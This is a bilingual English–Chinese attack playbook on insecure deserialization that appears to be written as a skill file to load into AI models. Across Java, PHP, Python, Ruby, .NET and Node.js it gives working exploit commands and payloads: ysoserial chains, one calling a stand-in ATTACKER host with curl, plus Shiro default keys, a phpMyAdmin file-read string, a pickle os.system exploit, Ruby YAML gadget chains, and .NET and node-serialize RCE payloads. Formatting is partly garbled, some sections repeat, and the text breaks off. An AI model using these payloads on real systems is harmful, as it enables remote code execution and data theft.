deserialization-insecure
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Insecure Deserialization — Expert Attack Playbook
SKILL: 不安全反序列化——专家级攻击手册
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
AI加载说明:覆盖Java、PHP、Python三种语言的专家级反序列化技术,包含gadget链选择、流量指纹识别、工具使用(ysoserial、PHPGGC)、Shiro/WebLogic/Commons Collections专项漏洞、Phar反序列化、Python pickle滥用等内容。基础模型通常无法区分找到漏洞sink和找到可用gadget链之间的差异。
0. RELATED ROUTING
0. 相关路由
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- jndi-injection:当反序列化触发JNDI查询时使用(例如JDK 8u191之后版本通过LDAP绕过→反序列化)
- unauthorized-access-common-services:当反序列化端点是暴露的管理服务(RMI Registry、T3、AJP)时使用
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
1. 流量指纹识别——是不是反序列化漏洞?
Java Serialized Objects
Java序列化对象
| Indicator | Where to Look |
|---|---|
Hex | Raw binary in request/response body, cookies, POST params |
Base64 | Cookies ( |
| HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
| 特征 | 排查位置 |
|---|---|
十六进制 | 请求/响应体、Cookie、POST参数中的原始二进制数据 |
Base64 | Cookie( |
| HTTP请求头 |
| T3/IIOP协议流量 | WebLogic端口(7001、7002) |
PHP Serialized Objects
PHP序列化对象
| Indicator | Where to Look |
|---|---|
| POST body, cookies, session files |
| Same locations |
| File operations accepting user-controlled paths |
| 特征 | 排查位置 |
|---|---|
| POST请求体、Cookie、会话文件 |
| 同上位置 |
| 接受用户控制路径的文件操作 |
Python Pickle
Python Pickle
| Indicator | Where to Look |
|---|---|
Hex | Binary data in requests, message queues |
| Base64-encoded binary blob | API params, cookies, Redis values |
| Code review / whitebox |
| 特征 | 排查位置 |
|---|---|
十六进制 | 请求、消息队列中的二进制数据 |
| Base64编码的二进制块 | API参数、Cookie、Redis值 |
源码中存在 | 代码审计/白盒测试 |
2. JAVA — GADGET CHAINS AND TOOLS
2. Java——Gadget链与工具
ysoserial — Primary Tool
ysoserial——核心工具
bash
undefinedbash
undefinedGenerate payload (example: CommonsCollections1 chain with command)
Generate payload (example: CommonsCollections1 chain with command)
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
Base64-encode for HTTP transport
Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
Common chains to try (ordered by frequency of vulnerable dependency):
Common chains to try (ordered by frequency of vulnerable dependency):
CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
Spring1, Spring2 — Spring Framework
Spring1, Spring2 — Spring Framework
Groovy1 — Groovy
Groovy1 — Groovy
Hibernate1 — Hibernate
Hibernate1 — Hibernate
JBossInterceptors1 — JBoss
JBossInterceptors1 — JBoss
Jdk7u21 — JDK 7u21 (no extra dependency)
Jdk7u21 — JDK 7u21 (no extra dependency)
URLDNS — DNS-only confirmation (no RCE, works everywhere)
URLDNS — DNS-only confirmation (no RCE, works everywhere)
undefinedundefinedURLDNS — Safe Confirmation Probe
URLDNS——安全验证探针
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
bash
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.binDNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
URLDNS可以在不触发RCE的情况下触发DNS查询,可安全地确认反序列化漏洞存在且不会造成破坏:
bash
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin如果collaborator收到DNS请求=确认存在反序列化漏洞,之后可以升级使用RCE链。
Commons Collections — The Classic Chain
Commons Collections——经典Gadget链
The vulnerability exists when (3.x) is on the classpath and the application calls on untrusted data.
org.apache.commons.collectionsreadObject()Key classes in the chain: → → → triggers during deserialization.
InvokerTransformerChainedTransformerTransformedMapRuntime.exec()当classpath中存在(3.x版本)且应用对不受信任数据调用时,就会存在该漏洞。
org.apache.commons.collectionsreadObject()链中的核心类: → → → 反序列化过程中触发。
InvokerTransformerChainedTransformerTransformedMapRuntime.exec()Apache Shiro — rememberMe Deserialization
Apache Shiro——rememberMe反序列化
Shiro uses AES-CBC to encrypt serialized Java objects in the cookie.
rememberMetext
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==Attack flow:
- Detect: response sets cookie on invalid session
rememberMe=deleteMe - Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
- AES-CBC encrypt with known key + random IV
- Base64-encode → set as cookie value
rememberMe - Send request → server decrypts → deserializes → RCE
DNSLog confirmation (before full RCE): use URLDNS chain → → encrypt → set cookie → check DNSLog for hit.
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).
Shiro使用AES-CBC加密 Cookie中的序列化Java对象。
rememberMetext
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==攻击流程:
- 检测:无效会话时响应返回Cookie
rememberMe=deleteMe - 生成ysoserial payload(推荐使用兼容性更广的CommonsCollections6链)
- 使用已知密钥+随机IV进行AES-CBC加密
- Base64编码 → 设置为Cookie值
rememberMe - 发送请求 → 服务端解密 → 反序列化 → 触发RCE
DNSLog验证(全量RCE前验证):使用URLDNS链 → → 加密 → 设置Cookie → 检查DNSLog是否收到请求。
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"修复后绕过(随机密钥):密钥仍可能通过填充预言机或其他CVE(SHIRO-721)泄露。
WebLogic Deserialization
WebLogic反序列化
Multiple vectors:
- T3 protocol (port 7001): direct serialized object injection
- XMLDecoder (CVE-2017-10271): XML-based deserialization via
/wls-wsat/CoordinatorPortType - IIOP protocol: alternative to T3
bash
undefined多种攻击向量:
- T3协议(端口7001):直接注入序列化对象
- XMLDecoder(CVE-2017-10271):通过的XML格式反序列化
/wls-wsat/CoordinatorPortType - IIOP协议:T3的替代方案
bash
undefinedT3 probe — check if T3 is exposed:
T3 probe — check if T3 is exposed:
nmap -sV -p 7001 TARGET
nmap -sV -p 7001 TARGET
Look for: "T3" or "WebLogic" in service banner
Look for: "T3" or "WebLogic" in service banner
undefinedundefinedJava RMI Registry
Java RMI Registry
RMI Registry (port 1099) accepts serialized objects by design:
bash
undefinedRMI Registry(端口1099)设计上就接受序列化对象:
bash
undefinedysoserial exploit module for RMI:
ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
Requires: vulnerable library on target's classpath
Requires: vulnerable library on target's classpath
Works on: JDK <= 8u111 without JEP 290 deserialization filter
Works on: JDK <= 8u111 without JEP 290 deserialization filter
undefinedundefinedJDK Version Constraints
JDK版本限制
| JDK Version | Impact |
|---|---|
| < 8u121 | RMI/LDAP remote class loading works |
| 8u121-8u190 | |
| >= 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
| JDK版本 | 影响 |
|---|---|
| < 8u121 | RMI/LDAP远程类加载可用 |
| 8u121-8u190 | RMI默认 |
| >= 8u191 | RMI和LDAP远程类加载均被阻断 |
| >= 8u191绕过 | 使用LDAP → 返回序列化gadget对象(而非远程类) |
3. PHP — unserialize AND PHAR
3. PHP——unserialize和PHAR
Magic Method Chain
魔术方法链
PHP deserialization triggers magic methods in order:
__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methodsAttack: craft a serialized object whose or triggers dangerous operations (file write, SQL query, command execution, SSRF).
__destruct()__wakeup()PHP反序列化按顺序触发魔术方法:
__wakeup() → unserialize()执行后立即调用
__destruct() → 对象被垃圾回收时调用
__toString() → 对象被当作字符串使用时调用
__call() → 调用不存在的方法时调用攻击:构造序列化对象,使其或触发危险操作(文件写入、SQL查询、命令执行、SSRF)。
__destruct()__wakeup()Serialized Object Format
序列化对象格式
php
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}php
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}phpMyAdmin Configuration Injection (Real-World Case)
phpMyAdmin配置注入(真实案例)
phpMyAdmin class reads arbitrary files via property:
PMA_Configsourcetext
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}phpMyAdmin的类通过属性读取任意文件:
PMA_Configsourcetext
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}PHPGGC — PHP Gadget Chain Generator
PHPGGC——PHP Gadget链生成器
bash
undefinedbash
undefinedList available chains:
List available chains:
phpggc -l
phpggc -l
Generate payload (example: Laravel RCE):
Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
phpggc Laravel/RCE1 system id
Common chains:
Common chains:
Laravel/RCE1-10
Laravel/RCE1-10
Symfony/RCE1-4
Symfony/RCE1-4
Guzzle/RCE1
Guzzle/RCE1
Monolog/RCE1-2
Monolog/RCE1-2
WordPress/RCE1
WordPress/RCE1
Slim/RCE1
Slim/RCE1
undefinedundefinedPhar Deserialization
Phar反序列化
Phar archives contain serialized metadata. Any file operation on a URI triggers deserialization — even when is never directly called.
phar://unserialize()Triggering functions (partial list):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()Attack flow:
- Upload a valid file (e.g., JPEG with phar polyglot)
- Trigger file operation:
file_exists("phar://uploads/avatar.jpg") - PHP deserializes phar metadata → gadget chain executes
bash
undefinedPhar压缩包包含序列化元数据。任何对 URI的文件操作都会触发反序列化——即使从未直接调用。
phar://unserialize()触发函数(部分列表):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()攻击流程:
- 上传合法文件(例如带phar polyglot的JPEG文件)
- 触发文件操作:
file_exists("phar://uploads/avatar.jpg") - PHP反序列化phar元数据 → 执行gadget链
bash
undefinedGenerate phar with PHPGGC:
Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
---phpggc -p phar -o exploit.phar Monolog/RCE1 system id
---4. PYTHON — PICKLE
4. Python——Pickle
reduce Method
__reduce__方法
Python's calls on objects during deserialization, which can return a callable + args:
pickle.loads()__reduce__()python
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())Python的在反序列化时会调用对象的方法,该方法可返回可调用对象+参数:
pickle.loads()__reduce__()python
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())Send payload to target that calls pickle.loads()
Send payload to target that calls pickle.loads()
undefinedundefinedAnalyzing Pickle Opcodes
分析Pickle操作码
python
import pickletools
pickletools.dis(payload)python
import pickletools
pickletools.dis(payload)Shows opcodes: GLOBAL, REDUCE, etc.
Shows opcodes: GLOBAL, REDUCE, etc.
Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
undefinedundefinedCommon Python Deserialization Sinks
常见Python反序列化Sink
python
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)python
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)Defensive Bypass: RestrictedUnpickler
防御绕过:RestrictedUnpickler
Even when is used, check if the whitelist is too broad:
RestrictedUnpickler.find_classpython
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")If includes , , or → still exploitable.
safe_builtinsevalexec__import__即使使用了,也要检查白名单是否过宽:
RestrictedUnpickler.find_classpython
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")如果包含、或 → 仍可被利用。
safe_builtinsevalexec__import__5. DETECTION METHODOLOGY
5. 检测方法
Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│ ├── Use URLDNS probe for safe confirmation
│ ├── Identify libraries (error messages, known product)
│ └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│ ├── Identify framework (Laravel, Symfony, WordPress)
│ ├── Try PHPGGC chains for that framework
│ └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│ ├── Try pickle payload with DNS callback
│ └── Check if PyYAML unsafe load is used
│
└── Not sure?
├── Try URLDNS payload (Java) — check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures在请求/Cookie中发现二进制块或编码对象?
├── 存在Java特征(ac ed / rO0AB)?
│ ├── 使用URLDNS探针安全验证
│ ├── 识别依赖库(错误信息、已知产品)
│ └── 尝试匹配识别到的库对应的ysoserial链
│
├── 存在PHP特征(O:N:"...)?
│ ├── 识别框架(Laravel、Symfony、WordPress)
│ ├── 尝试对应框架的PHPGGC链
│ └── 检查文件操作中是否存在phar://包装器
│
├── Python特征(不透明二进制、Base64块)?
│ ├── 尝试带DNS回调的pickle payload
│ └── 检查是否使用了PyYAML不安全加载
│
└── 不确定?
├── 尝试URLDNS payload(Java)——检查DNS
├── 尝试PHP序列化测试字符串
└── 监控错误信息中的类加载失败提示6. DEFENSE AWARENESS
6. 防御方案
| Language | Mitigation |
|---|---|
| Java | JEP 290 deserialization filters; whitelist allowed classes; avoid |
| PHP | Avoid |
| Python | Use |
| 语言 | 缓解措施 |
|---|---|
| Java | 启用JEP 290反序列化过滤器;白名单允许的类;避免对不受信任数据使用 |
| PHP | 避免对用户输入使用 |
| Python | 仅对受信任数据使用 |
7. QUICK REFERENCE — KEY PAYLOADS
7. 快速参考——核心Payload
text
undefinedtext
undefinedJava — URLDNS confirmation
Java — URLDNS验证
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
Java — RCE via CommonsCollections
Java — CommonsCollections RCE
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
PHP — Laravel RCE
PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
phpggc Laravel/RCE1 system "id"
PHP — Phar polyglot
PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
Python — Pickle RCE
Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'reduce':lambda s:(os.system,('id',))})()).hex())"
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'reduce':lambda s:(os.system,('id',))})()).hex())"
Shiro default key test
Shiro默认密钥测试
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
---rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
---8. RUBY DESERIALIZATION
8. Ruby反序列化
Ruby Marshal
Ruby Marshal
- on untrusted data → RCE
Marshal.load - Fingerprint: binary data, no common text header
- Gadget chains exist for various Ruby versions
- Docker verification: hex payload via
[hex_string].pack("H*")
- 对不受信任数据使用→ RCE
Marshal.load - 指纹:二进制数据,无通用文本头
- 存在适配不同Ruby版本的gadget链
- Docker验证:通过加载十六进制payload
[hex_string].pack("H*")
Ruby YAML (YAML.load)
Ruby YAML (YAML.load)
- (not
YAML.load) executes arbitrary Ruby objectsYAML.safe_load - Pre Ruby 2.7.2: chain →
Gem::Requirement/git_set: idgit_set: sleep 600 - Ruby 2.x-3.x: →
Gem::Installer→TarReaderchain (longer, multi-step)Kernel#system - Always test: for class instantiation check
YAML.load("--- !ruby/object:Gem::Installer\ni: x") - Payload template:
yaml
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"- Note: is safe (Ruby 2.1+);
YAML.safe_loadalso safePsych.safe_load
- (非
YAML.load)会执行任意Ruby对象YAML.safe_load - Ruby 2.7.2之前版本:链 →
Gem::Requirement/git_set: idgit_set: sleep 600 - Ruby 2.x-3.x:→
Gem::Installer→TarReader链(更长、多步骤)Kernel#system - 始终测试:检查类实例化是否可行
YAML.load("--- !ruby/object:Gem::Installer\ni: x") - Payload模板:
yaml
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"- 注意:是安全的(Ruby 2.1+);
YAML.safe_load也安全Psych.safe_load
9. .NET DESERIALIZATION
9. .NET反序列化
-
Traffic fingerprint:
- BinaryFormatter: hex (base64
AAEAAD)AAEAAAD///// - ViewState: hex or
FF01prefix/w - JSON.NET: property in JSON
$type
- BinaryFormatter: hex
-
BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
-
XmlSerializer:+
ObjectDataProviderchain for command executionXamlReaderxml<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider"> <od:MethodName>Start</od:MethodName> <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters> <od:ObjectInstance xsi:type="System.Diagnostics.Process"/> </root> -
NetDataContractSerializer: similar to BinaryFormatter, full type info in XML
-
LosFormatter: used in ViewState, deserializes to
ObjectStateFormatter -
JSON.NET:property enables type control →
$type+ObjectDataProviderchainsExpandedWrapperjson{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}} -
Tool:— generate payloads for all .NET formatters
ysoserial.nettextysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64 ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -
POP gadgets:,
ObjectDataProvider,ExpandedWrapperAssemblyInstaller.set_Path
-
流量指纹:
- BinaryFormatter:十六进制(Base64
AAEAAD)AAEAAAD///// - ViewState:十六进制或
FF01前缀/w - JSON.NET:JSON中存在属性
$type
- BinaryFormatter:十六进制
-
BinaryFormatter(最危险,.NET 5+已废弃):可实例化任意类型
-
XmlSerializer:+
ObjectDataProvider链可执行命令XamlReaderxml<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider"> <od:MethodName>Start</od:MethodName> <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters> <od:ObjectInstance xsi:type="System.Diagnostics.Process"/> </root> -
NetDataContractSerializer:类似BinaryFormatter,XML中包含完整类型信息
-
LosFormatter:用于ViewState,反序列化为
ObjectStateFormatter -
JSON.NET:属性可控制类型 →
$type+ObjectDataProvider链ExpandedWrapperjson{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}} -
工具:— 生成所有.NET格式化器的payload
ysoserial.nettextysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64 ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc" -
POP gadgets:、
ObjectDataProvider、ExpandedWrapperAssemblyInstaller.set_Path
10. NODE.JS DESERIALIZATION
10. NODE.JS反序列化
-
node-serialize:with IIFE (Immediately Invoked Function Expression)
unserialize()- Payload marker:
_$$ND_FUNC$$_ - Add at end to auto-execute:
()
json{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"} - Payload marker:
-
funcster:property →
__js_functionto accessconstructor.constructorprocessjson{"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"} -
cryo: similar to funcster, serializes JS objects with function support
-
node-serialize:带IIFE(立即执行函数表达式)的
unserialize()- Payload标记:
_$$ND_FUNC$$_ - 末尾添加自动执行:
()
json{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"} - Payload标记:
-
funcster:属性 → 通过
__js_function访问constructor.constructorprocessjson{"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"} -
cryo:类似funcster,支持序列化带函数的JS对象
RUBY DESERIALIZATION
RUBY反序列化
Marshal (Binary Format)
Marshal(二进制格式)
ruby
undefinedruby
undefinedRuby's Marshal.load is equivalent to Java's ObjectInputStream
Ruby's Marshal.load is equivalent to Java's ObjectInputStream
Any class with marshal_dump/marshal_load can be a gadget
Any class with marshal_dump/marshal_load can be a gadget
Detection: binary data starting with \x04\x08
Detection: binary data starting with \x04\x08
Or hex: 0408
Or hex: 0408
PoC gadget (requires vulnerable class in scope):
PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload) # triggers arbitrary code execution
undefinedpayload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload) # triggers arbitrary code execution
undefinedYAML.load (Critical — Most Common Ruby Deser Sink)
YAML.load(高危——最常见的Ruby反序列化Sink)
ruby
undefinedruby
undefinedYAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects
YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects
Ruby <= 2.7.2 — Gem::Requirement chain:
Ruby <= 2.7.2 — Gem::Requirement chain:
Triggers via !ruby/object constructor
Triggers via !ruby/object constructor
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
current_fetch_uri: !ruby/object:URI::Generic
path: "| id"
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
current_fetch_uri: !ruby/object:URI::Generic
path: "| id"
Ruby 2.x–3.x — Gem::Installer chain:
Ruby 2.x–3.x — Gem::Installer chain:
Uses Gem::Installer → Gem::StubSpecification → Kernel#system
Uses Gem::Installer → Gem::StubSpecification → Kernel#system
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id # <-- command to execute
method_id: :resolve
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id # <-- command to execute
method_id: :resolve
Safe alternative: YAML.safe_load (whitelist of allowed types)
Safe alternative: YAML.safe_load (whitelist of allowed types)
undefinedundefinedTools
工具
- — Ruby gadget chain generator
elttam/ruby-deserialization - inspiration → check Ruby-specific forks
frohoff/ysoserial
- — Ruby gadget链生成器
elttam/ruby-deserialization - 灵感来源 → 查看Ruby专属的fork版本
frohoff/ysoserial
.NET DESERIALIZATION
.NET反序列化
Traffic Fingerprinting
流量指纹识别
| Indicator | Serializer |
|---|---|
Hex | BinaryFormatter |
Hex | DataContractSerializer |
ViewState starts with | LosFormatter / ObjectStateFormatter |
JSON with | JSON.NET (Newtonsoft) TypeNameHandling |
XML with | XmlSerializer / NetDataContractSerializer |
| 特征 | 序列化器 |
|---|---|
十六进制 | BinaryFormatter |
十六进制 | DataContractSerializer |
ViewState以 | LosFormatter / ObjectStateFormatter |
带 | JSON.NET (Newtonsoft) TypeNameHandling |
带 | XmlSerializer / NetDataContractSerializer |
BinaryFormatter / LosFormatter
BinaryFormatter / LosFormatter
undefinedundefinedMost dangerous — arbitrary type instantiation
Most dangerous — arbitrary type instantiation
Tool: ysoserial.net
Tool: ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\out.txt" -o base64
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\out.txt" -o base64
LosFormatter wraps BinaryFormatter — same gadgets work
LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
undefinedysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
undefinedXmlSerializer + ObjectDataProvider
XmlSerializer + ObjectDataProvider
xml
<root>
<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<ObjectDataProvider.MethodParameters>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
</ObjectDataProvider.MethodParameters>
<ObjectDataProvider.ObjectInstance>
<ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
<ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
<ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
</ProcessStartInfo>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</root>xml
<root>
<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<ObjectDataProvider.MethodParameters>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
</ObjectDataProvider.MethodParameters>
<ObjectDataProvider.ObjectInstance>
<ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
<ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
<ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
</ProcessStartInfo>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</root>JSON.NET with TypeNameHandling
启用TypeNameHandling的JSON.NET
json
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}Vulnerable when is set to , , , or .
TypeNameHandlingAutoObjectsArraysAlljson
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}当设置为、、或时存在漏洞。
TypeNameHandlingAutoObjectsArraysAllTools
工具
- — primary .NET deserialization payload generator
pwntester/ysoserial.net - Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile
- — 主流.NET反序列化payload生成器
pwntester/ysoserial.net - Gadget链:TypeConfuseDelegate、TextFormattingRunProperties、PSObject、ActivitySurrogateSelectorFromFile
NODE.JS DESERIALIZATION
NODE.JS反序列化
node-serialize (IIFE Pattern)
node-serialize(IIFE模式)
javascript
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';
// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function
// Full HTTP exploit (in cookie or body):
